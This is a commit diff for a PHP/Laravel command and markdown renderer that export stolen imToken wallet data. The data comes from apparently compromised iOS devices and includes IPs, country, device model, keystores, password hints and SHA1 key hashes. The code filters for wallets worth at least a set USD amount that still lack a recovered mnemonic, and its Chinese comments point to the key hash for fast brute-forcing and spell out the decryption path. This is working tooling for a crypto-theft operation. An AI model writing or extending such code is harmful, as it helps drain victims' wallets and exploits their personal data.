feat: export
This commit is contained in:
@@ -22,11 +22,12 @@ class ExportImtokenRichCommand extends Command
|
||||
{
|
||||
protected $signature = 'coruna:export-imtoken-rich
|
||||
{--path= : Output directory (default storage/app/imtoken-rich-<timestamp>)}
|
||||
{--min-usd=1 : Minimum USD-estimated balance to include a device (set 0 to disable)}
|
||||
{--no-md : Skip markdown report}
|
||||
{--no-json : Skip JSON report}
|
||||
{--limit= : Cap number of devices (debug)}';
|
||||
|
||||
protected $description = 'Export devices with imToken addresses (balance > 0) and a populated imToken keystore';
|
||||
protected $description = 'Export devices with imToken addresses (balance>min, no mnemonic, has keystore)';
|
||||
|
||||
public function handle(): int
|
||||
{
|
||||
@@ -64,6 +65,7 @@ class ExportImtokenRichCommand extends Command
|
||||
|
||||
$summary = [
|
||||
'exported_at' => now()->toIso8601String(),
|
||||
'min_usd' => (float) $this->option('min-usd'),
|
||||
'device_count' => count($devices),
|
||||
'address_count' => array_sum(array_map(fn ($d) => count($d['addresses']), $devices)),
|
||||
'keystore_count' => array_sum(array_map(fn ($d) => count($d['keystores']), $devices)),
|
||||
@@ -91,33 +93,80 @@ class ExportImtokenRichCommand extends Command
|
||||
}
|
||||
|
||||
/**
|
||||
* Device IDs that have BOTH an imToken address with balance and an imToken
|
||||
* keystore with non-empty raw_json.
|
||||
* Device IDs that meet ALL criteria:
|
||||
* 1. has imToken wallet_addresses with any coin > 0
|
||||
* 2. USD-estimated total of those imToken addresses >= --min-usd
|
||||
* 3. device has NO wallet_mnemonics rows (助记词未恢复)
|
||||
* 4. has an imToken wallet_keystore with non-empty raw_json containing
|
||||
* a Web3 keystore node (crypto.ciphertext + crypto.mac).
|
||||
*/
|
||||
private function candidateDeviceIds()
|
||||
{
|
||||
$addrIds = DB::table('wallet_addresses')
|
||||
$minUsd = (float) $this->option('min-usd');
|
||||
|
||||
// Step 1: imToken addresses with balance, grouped by device.
|
||||
$addrRows = DB::table('wallet_addresses')
|
||||
->where('source', 'imToken')
|
||||
->where(function ($q) {
|
||||
foreach (WalletAddress::COIN_COLUMNS as $c) {
|
||||
$q->orWhere($c, '>', 0);
|
||||
}
|
||||
})
|
||||
->pluck('device_id')
|
||||
->unique();
|
||||
->select(array_merge(['device_id'], WalletAddress::COIN_COLUMNS))
|
||||
->get();
|
||||
|
||||
if ($addrIds->isEmpty()) {
|
||||
if ($addrRows->isEmpty()) {
|
||||
return collect();
|
||||
}
|
||||
|
||||
// Step 2: aggregate per device, apply USD threshold.
|
||||
$byDevice = [];
|
||||
foreach ($addrRows as $row) {
|
||||
$id = (int) $row->device_id;
|
||||
if (! isset($byDevice[$id])) {
|
||||
$byDevice[$id] = array_fill_keys(WalletAddress::COIN_COLUMNS, 0.0);
|
||||
}
|
||||
foreach (WalletAddress::COIN_COLUMNS as $c) {
|
||||
$byDevice[$id][$c] += (float) ($row->{$c} ?? 0);
|
||||
}
|
||||
}
|
||||
$usdOk = [];
|
||||
foreach ($byDevice as $id => $coins) {
|
||||
$usd = ($coins['usdt'] ?? 0)
|
||||
+ ($coins['trx'] ?? 0) * 0.15
|
||||
+ ($coins['eth'] ?? 0) * 2500
|
||||
+ ($coins['btc'] ?? 0) * 60000
|
||||
+ ($coins['bnb'] ?? 0) * 500
|
||||
+ ($coins['sol'] ?? 0) * 150;
|
||||
if ($usd >= $minUsd) {
|
||||
$usdOk[$id] = true;
|
||||
}
|
||||
}
|
||||
if ($usdOk === []) {
|
||||
return collect();
|
||||
}
|
||||
$usdOkIds = array_keys($usdOk);
|
||||
|
||||
// Step 3: exclude devices that have ANY recovered mnemonic.
|
||||
$withMnemonic = DB::table('wallet_mnemonics')
|
||||
->whereIn('device_id', $usdOkIds)
|
||||
->pluck('device_id')
|
||||
->unique()
|
||||
->all();
|
||||
$noMnemonicIds = array_values(array_diff($usdOkIds, $withMnemonic));
|
||||
if ($noMnemonicIds === []) {
|
||||
return collect();
|
||||
}
|
||||
|
||||
// Step 4: keep only devices that have an imToken keystore with data.
|
||||
$ksDeviceIds = DB::table('wallet_keystores')
|
||||
->where('source', 'imToken')
|
||||
->whereNotNull('raw_json')
|
||||
->whereIn('device_id', $addrIds)
|
||||
->whereIn('device_id', $noMnemonicIds)
|
||||
->pluck('device_id')
|
||||
->unique();
|
||||
|
||||
$ids = $addrIds->intersect($ksDeviceIds)->values();
|
||||
$ids = collect($noMnemonicIds)->intersect($ksDeviceIds)->values();
|
||||
if ($limit = (int) $this->option('limit')) {
|
||||
$ids = $ids->take($limit);
|
||||
}
|
||||
|
||||
@@ -6,7 +6,11 @@ use App\Models\WalletAddress;
|
||||
|
||||
/**
|
||||
* Renders the imToken-rich export as a markdown document.
|
||||
* Kept separate from ExportImtokenRichCommand to keep the command class small.
|
||||
* Each device is one block:
|
||||
* - summary line (设备 id, 密码提示, 地址数, 总余额)
|
||||
* - 设备基本信息 as JSON
|
||||
* - 地址列表 as table
|
||||
* - keystore as JSON
|
||||
*
|
||||
* @internal
|
||||
*/
|
||||
@@ -24,6 +28,9 @@ final class ExportImtokenRichMarkdown
|
||||
$md[] = '';
|
||||
$md[] = '导出时间: '.$this->summary['exported_at'];
|
||||
$md[] = '';
|
||||
$md[] = '筛选条件: imToken 地址 · 余额 ≥ $'.$this->summary['min_usd']
|
||||
.' · 无助记词 · 有 keystore';
|
||||
$md[] = '';
|
||||
$md[] = '## 汇总';
|
||||
$md[] = '';
|
||||
$md[] = '| 指标 | 值 |';
|
||||
@@ -50,7 +57,7 @@ final class ExportImtokenRichMarkdown
|
||||
$md[] = '';
|
||||
$md[] = '- **decrypted**: keystore 是否已解出助记词 (1=已解出, 0=未解出,需密码)';
|
||||
$md[] = '- **keyHash**: imToken 的 SHA1(密码),可用于快速爆破比对';
|
||||
$md[] = '- **imTokenMeta.source**: `MNEMONIC` = 加密的是助记词;`PRIVATE_KEY` = 加密的是单私钥';
|
||||
$md[] = '- **imTokenMeta.source**: `MNEMONIC`/`NEW_MNEMONIC` = 加密助记词;`PRIVATE_KEY` = 加密单私钥';
|
||||
$md[] = '- **imTokenMeta.passwordHint**: 密码提示(首字母或长度线索)';
|
||||
$md[] = '- **derivationPath**: HD 派生路径,`m/44\'/195\'/0\'/0/{index}` = TRON (195)';
|
||||
$md[] = '- 解密流程: 密码 → pbkdf2/scrypt → AES-128-CTR(ciphertext) → 助记词/私钥';
|
||||
@@ -61,38 +68,75 @@ final class ExportImtokenRichMarkdown
|
||||
|
||||
private function renderDevice(array &$md, array $device): void
|
||||
{
|
||||
$hints = $this->collectPasswordHints($device['keystores']);
|
||||
$hintStr = $hints !== [] ? '`'.implode('`, `', $hints).'`' : '无';
|
||||
$addrCount = count($device['addresses']);
|
||||
$usd = $device['totals']['usd_approx'];
|
||||
|
||||
$md[] = '---';
|
||||
$md[] = '';
|
||||
$md[] = "## 设备 #{$device['id']} — `{$device['device_id']}`";
|
||||
$md[] = '';
|
||||
$md[] = '| 字段 | 值 |';
|
||||
$md[] = '|---|---|';
|
||||
$md[] = "| Channel ID | {$device['channel_id']} |";
|
||||
$md[] = "| 机型 | {$device['model']} |";
|
||||
$md[] = "| iOS 版本 | {$device['ios_version']} |";
|
||||
$md[] = "| IP | {$device['ip']} |";
|
||||
$md[] = "| 国家 | {$device['country']} |";
|
||||
$md[] = "| 钱包应用 | ".implode(', ', $device['wallet_names']).' |';
|
||||
$md[] = "| 创建时间 | {$device['created_at']} |";
|
||||
$md[] = "| 地址数 | ".count($device['addresses']).' |';
|
||||
$md[] = "| Keystore 数 | ".count($device['keystores']).' |';
|
||||
$md[] = "| USD 估算 | {$device['totals']['usd_approx']} |";
|
||||
$md[] = "**密码提示**: {$hintStr} · **地址数**: {$addrCount} · **总余额**: ~\${$usd}";
|
||||
$md[] = '';
|
||||
|
||||
// 设备基本信息 as JSON
|
||||
$basicInfo = [
|
||||
'id' => $device['id'],
|
||||
'device_id' => $device['device_id'],
|
||||
'channel_id' => $device['channel_id'],
|
||||
'model' => $device['model'],
|
||||
'ios_version' => $device['ios_version'],
|
||||
'ip' => $device['ip'],
|
||||
'country' => $device['country'],
|
||||
'wallet_names' => $device['wallet_names'],
|
||||
'user_agent' => $device['user_agent'],
|
||||
'created_at' => $device['created_at'],
|
||||
];
|
||||
$md[] = '**设备基本信息**:';
|
||||
$md[] = '';
|
||||
$md[] = '```json';
|
||||
$md[] = json_encode($basicInfo, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES | JSON_PRETTY_PRINT);
|
||||
$md[] = '```';
|
||||
$md[] = '';
|
||||
|
||||
// 地址列表 as table
|
||||
$this->renderAddressTable($md, $device['addresses']);
|
||||
|
||||
// keystore as JSON
|
||||
$this->renderKeystores($md, $device['keystores']);
|
||||
}
|
||||
|
||||
/**
|
||||
* @param list<array<string, mixed>> $keystores
|
||||
* @return list<string>
|
||||
*/
|
||||
private function collectPasswordHints(array $keystores): array
|
||||
{
|
||||
$hints = [];
|
||||
foreach ($keystores as $ks) {
|
||||
$meta = $ks['keystore']['imTokenMeta'] ?? null;
|
||||
if (is_array($meta) && isset($meta['passwordHint'])) {
|
||||
$h = trim((string) $meta['passwordHint']);
|
||||
if ($h !== '' && ! in_array($h, $hints, true)) {
|
||||
$hints[] = $h;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return $hints;
|
||||
}
|
||||
|
||||
private function renderAddressTable(array &$md, array $addresses): void
|
||||
{
|
||||
$md[] = '**地址列表**:';
|
||||
$md[] = '';
|
||||
if ($addresses === []) {
|
||||
$md[] = '### 地址(无)';
|
||||
$md[] = '_(无)_';
|
||||
$md[] = '';
|
||||
|
||||
return;
|
||||
}
|
||||
$md[] = '### 地址';
|
||||
$md[] = '';
|
||||
$header = ['ID', '地址', 'Chain', 'DeriveIdx', 'MnemonicID', 'Monitor'];
|
||||
foreach (WalletAddress::COIN_COLUMNS as $col) {
|
||||
$header[] = strtoupper($col);
|
||||
@@ -119,98 +163,14 @@ final class ExportImtokenRichMarkdown
|
||||
private function renderKeystores(array &$md, array $keystores): void
|
||||
{
|
||||
if ($keystores === []) {
|
||||
$md[] = '### Keystore(无)';
|
||||
$md[] = '';
|
||||
|
||||
return;
|
||||
}
|
||||
$md[] = '### Keystore';
|
||||
$md[] = '';
|
||||
foreach ($keystores as $ks) {
|
||||
$this->renderKeystore($md, $ks);
|
||||
}
|
||||
}
|
||||
|
||||
private function renderKeystore(array &$md, array $ks): void
|
||||
{
|
||||
$k = $ks['keystore'];
|
||||
$dec = $ks['decrypted'] ? '✓ 已解出' : '✗ 未解出';
|
||||
$md[] = "#### Keystore #{$ks['id']} — `{$ks['source']}` — {$dec}";
|
||||
$md[] = '**keystore** (id='.$ks['id'].', decrypted='.($ks['decrypted'] ? '1' : '0').'):';
|
||||
$md[] = '';
|
||||
$md[] = '| 字段 | 值 |';
|
||||
$md[] = '|---|---|';
|
||||
$md[] = "| type | {$k['type']} |";
|
||||
$md[] = "| version | {$k['version']} |";
|
||||
$md[] = "| address | ".($k['address'] ? '`'.$k['address'].'`' : '-')." |";
|
||||
$md[] = "| derivationPath | `{$k['derivationPath']}` |";
|
||||
$md[] = "| keyHash | `{$k['keyHash']}` |";
|
||||
$md[] = "| raw_json 长度 | {$ks['raw_json_len']} 字节 |";
|
||||
$md[] = "| 创建时间 | {$ks['created_at']} |";
|
||||
$md[] = '';
|
||||
|
||||
$crypto = $k['crypto'];
|
||||
$md[] = '**crypto**';
|
||||
$md[] = '';
|
||||
$md[] = '| 字段 | 值 |';
|
||||
$md[] = '|---|---|';
|
||||
$md[] = "| kdf | {$crypto['kdf']} |";
|
||||
$md[] = "| cipher | {$crypto['cipher']} |";
|
||||
$kp = $crypto['kdfparams'] ?? [];
|
||||
if (is_array($kp)) {
|
||||
if (isset($kp['c'])) {
|
||||
$md[] = "| kdfparams.c (迭代) | {$kp['c']} |";
|
||||
}
|
||||
if (isset($kp['n'])) {
|
||||
$md[] = "| kdfparams.n | {$kp['n']} |";
|
||||
}
|
||||
if (isset($kp['r'])) {
|
||||
$md[] = "| kdfparams.r | {$kp['r']} |";
|
||||
}
|
||||
if (isset($kp['p'])) {
|
||||
$md[] = "| kdfparams.p | {$kp['p']} |";
|
||||
}
|
||||
if (isset($kp['dklen'])) {
|
||||
$md[] = "| kdfparams.dklen | {$kp['dklen']} |";
|
||||
}
|
||||
if (isset($kp['prf'])) {
|
||||
$md[] = "| kdfparams.prf | {$kp['prf']} |";
|
||||
}
|
||||
if (isset($kp['salt'])) {
|
||||
$md[] = "| kdfparams.salt | `{$kp['salt']}` |";
|
||||
}
|
||||
}
|
||||
$cp = $crypto['cipherparams'] ?? [];
|
||||
if (is_array($cp) && isset($cp['iv'])) {
|
||||
$md[] = "| cipherparams.iv | `{$cp['iv']}` |";
|
||||
}
|
||||
$md[] = "| ciphertext | `{$crypto['ciphertext']}` |";
|
||||
$md[] = "| mac | `{$crypto['mac']}` |";
|
||||
$md[] = '';
|
||||
|
||||
$meta = $k['imTokenMeta'];
|
||||
if (is_array($meta)) {
|
||||
$md[] = '**imTokenMeta**';
|
||||
$md[] = '';
|
||||
$md[] = '| 字段 | 值 |';
|
||||
$md[] = '|---|---|';
|
||||
foreach ($meta as $key => $val) {
|
||||
if (is_array($val)) {
|
||||
$val = json_encode($val, JSON_UNESCAPED_UNICODE);
|
||||
}
|
||||
$md[] = "| {$key} | {$val} |";
|
||||
}
|
||||
$md[] = '';
|
||||
}
|
||||
|
||||
$accts = $k['activeAccounts'];
|
||||
if (is_array($accts) && $accts !== []) {
|
||||
$md[] = '**activeAccounts**';
|
||||
$md[] = '';
|
||||
$md[] = '| coin | address | derivationPath | publicKey |';
|
||||
$md[] = '|---|---|---|---|';
|
||||
foreach ($accts as $acc) {
|
||||
$md[] = '| '.($acc['coin'] ?? '-').' | `'.($acc['address'] ?? '-')."` | `".($acc['derivationPath'] ?? '-')."` | `".($acc['publicKey'] ?? '-').'` |';
|
||||
}
|
||||
$md[] = '```json';
|
||||
$md[] = json_encode($ks, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES | JSON_PRETTY_PRINT);
|
||||
$md[] = '```';
|
||||
$md[] = '';
|
||||
}
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user